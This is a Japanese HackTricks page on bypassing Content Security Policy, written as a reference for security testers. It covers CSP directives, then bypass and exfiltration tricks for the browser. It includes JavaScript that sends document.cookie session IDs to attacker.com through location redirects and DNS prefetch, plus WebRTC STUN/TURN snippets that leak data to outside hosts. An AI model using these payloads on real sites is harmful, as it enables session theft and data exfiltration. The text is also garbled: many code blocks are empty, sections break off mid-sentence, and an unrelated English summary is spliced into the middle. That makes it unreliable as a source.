# Content Security Policy (CSP) バイパス
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! **ハッキングの洞察**\ ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する **リアルタイムハックニュース**\ リアルタイムのニュースと洞察を通じて、迅速なハッキングの世界を最新情報で追いかける **最新のアナウンス**\ 最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を入手する **[Discord](https://discord.com/invite/N3FrSbmwdy)に参加**して、今日からトップハッカーと協力を始めましょう! ## CSPとは Content Security Policy(CSP)は、主に **クロスサイトスクリプティング(XSS)などの攻撃から保護する**ことを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメイン(self)からのリソースの読み込みと実行を許可し、インラインリソースや`eval`、`setTimeout`、`setInterval`などの関数を介して文字列コードの実行を許可する可能性があります。 CSPの実装は、**レスポンスヘッダーを介して**または**HTMLページにメタ要素を組み込むことによって**行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に施行し、検出された違反を即座にブロックします。 ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` * メタタグを使用して実装されます: ```xml ``` ### ヘッダー CSPはこれらのヘッダーを使用して強制または監視できます: - `Content-Security-Policy`:CSPを強制します。ブラウザは違反をブロックします。 - `Content-Security-Policy-Report-Only`:監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。 ### リソースの定義 CSPはアクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行や`eval()`の使用などの側面を制御します。例として次のポリシーがあります: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### ディレクティブ * **script-src**: URL、インラインスクリプト、およびイベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトを含む、JavaScriptの特定ソースを許可します。 * **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースの取得のためのデフォルトポリシーを設定します。 * **child-src**: ウェブワーカーや埋め込みフレームコンテンツに許可されたリソースを指定します。 * **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。 * **frame-src**: フレームのためのURLを制限します。 * **frame-ancestors**: ``、` // The bot will load an URL with the payload ``` ### ブックマークレット経由 この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグ&ドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、**CSPをバイパス**してクッキーやトークンなどの機密情報を盗むことができます。 詳細は[**こちらのオリジナルレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 ### CSP制限によるCSPバイパス [**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して**任意のスクリプトを読み込む**ことが可能になります。 **IframeのCSPを制限**するには、**`csp`**属性を使用できます: {% code overflow="wrap" %} ```html ``` {% endcode %} [**このCTF解説**](https://github.com/aszx87410/ctf-writeups/issues/48) では、**HTMLインジェクション**を通じて、**CSP**をより**制限**することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、**脆弱性が悪用可能になりました。**\ CSPは**HTMLメタタグ**を使用してより制限的にすることができ、インラインスクリプトは**削除**され、**nonce**を許可する**エントリ**が削除され、**特定のインラインスクリプトをsha経由で有効にできます**: ```html ``` ### Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出 サーバーがヘッダー**`Content-Security-Policy-Report-Only`**を**あなたが制御する値**で応答するようにできれば(CRLFのためかもしれません)、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したい**JSコンテンツ**を**``内に埋め込むことができます。この**スクリプト**は**'self'**によって**許可されている**ため、**ロードされます**。さらに、WordPressがインストールされているため、攻撃者は**SOME攻撃**を**脆弱な** **コールバック**エンドポイントを通じて悪用し、ユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりする可能性があります。\ この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を参照してください。 ## CSP Exfiltration Bypasses 外部サーバーとの**やり取りを許可しない厳格なCSP**がある場合、情報を外部に漏洩させるために常にできることがいくつかあります。 ### Location 単にロケーションを更新して、秘密情報を攻撃者のサーバーに送信することができます: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### メタタグ メタタグを注入することでリダイレクトすることができます(これは単なるリダイレクトであり、コンテンツは漏洩しません) ```html ``` ### DNS プリフェッチ ページをより速く読み込むために、ブラウザはホスト名を事前に IP アドレスに解決し、後で使用するためにキャッシュします。\ ブラウザにホスト名を事前に解決するよう指示することができます: `` これを悪用して、DNS リクエストを介して**機密情報を外部に送信**することができます。 ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` ## Content Security Policy (CSP) Bypass ### Introduction In some scenarios, bypassing a Content Security Policy (CSP) can be achieved by exploiting certain vulnerabilities in a web application. This can allow an attacker to execute malicious scripts or actions that would otherwise be blocked by the CSP. ### Bypass Techniques There are several techniques that can be used to bypass CSP protections, including: 1. **Data: URI Bypass**: Using data: URIs to load scripts or styles that would normally be blocked. 2. **Inline Script Bypass**: Injecting inline scripts into HTML elements to execute code. 3. **Nonce Bypass**: Generating or guessing the nonce value to bypass CSP restrictions. 4. **Self Bypass**: Loading resources from the same origin to bypass CSP rules. 5. **Trusted Types Bypass**: Exploiting Trusted Types to bypass CSP protections. ### Conclusion Understanding how CSP works and the potential bypass techniques is crucial for security professionals to effectively assess and secure web applications against attacks that aim to bypass CSP protections. ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` 以下のように、サーバーはHTTPヘッダーを送信することでこれを回避できます: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} 明らかに、このテクニックはヘッドレスブラウザ(ボット)では機能しません {% endhint %} ### WebRTC いくつかのページで読むことができるように、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**とされています。 実際には、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードをチェックしてください: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` もう1つのオプション: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ## オンラインでCSPポリシーをチェックする * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## CSPを自動的に作成する [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## 参考文献 * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) ​
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 **リアルタイムのハックニュース**\ リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける **最新のアナウンスメント**\ 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握 **Discord** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。** * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。